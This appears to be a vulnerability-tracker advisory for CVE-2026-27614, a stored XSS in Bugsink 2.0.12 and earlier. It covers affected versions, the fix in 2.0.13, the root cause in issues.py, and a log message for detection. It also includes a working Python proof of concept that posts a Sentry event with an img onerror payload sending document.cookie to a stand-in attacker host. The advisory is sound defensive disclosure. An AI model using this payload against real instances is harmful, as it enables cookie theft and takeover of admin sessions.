Live › vulnerability › CVE-2026-27614
Go to dashboardWhen Pygments returns more lines than it was given, Bugsink falls back to raw input and marks it safe, so unescaped HTML is rendered in the stacktrace view. An attacker who knows a project's public DSN can store JavaScript in an event that runs in an admin's browser when they open it.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 15:23 UTC, 0h before NVD. All times on this page are UTC.
Self-hosted or managed Bugsink instances at version 2.0.12 or earlier are affected, because any client holding a project's public DSN can submit events and the crafted stacktrace is rendered unescaped for admins. Instances already on 2.0.13 are not affected. The sources do not say whether the attack needs a specific configuration beyond a reachable ingest endpoint.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| bugsink | pypi | <= 2.0.12 | 2.0.13 |
| bugsink | vendor | < 2.0.13 | 2.0.13 |
pip show bugsink or pip index versions bugsink; affected versions are <= 2.0.12bugsink in requirements or lock files is pinned below 2.0.13bugsink to 2.0.13 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.
When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), _pygmentize_lines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. mark_safe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
return lines # raw HTML returned here
# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
Exploitation attempts are likely to generate the diagnostic event:
"Pygments line count mismatch, falling back to unformatted code"
Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.
Send a Sentry event to /api/<project-id>/store/ with a valid DSN:
import requests
payload = {
"exception": {"values": [{"stacktrace": {"frames": [{
"filename": "app.rb",
"lineno": 2,
"pre_context": ["<<~HEREDOC", " foo", "HEREDOC"],
"context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
"post_context": []
}]}}]}
}
requests.post(
"http://bugsink-host/api/<project-id>/store/",
json=payload,
headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.
This is a stored XSS vulnerability.
Successful exploitation requires:
Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.
This page as .md · .json · in your agent: get_signal("CVE-2026-27614")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.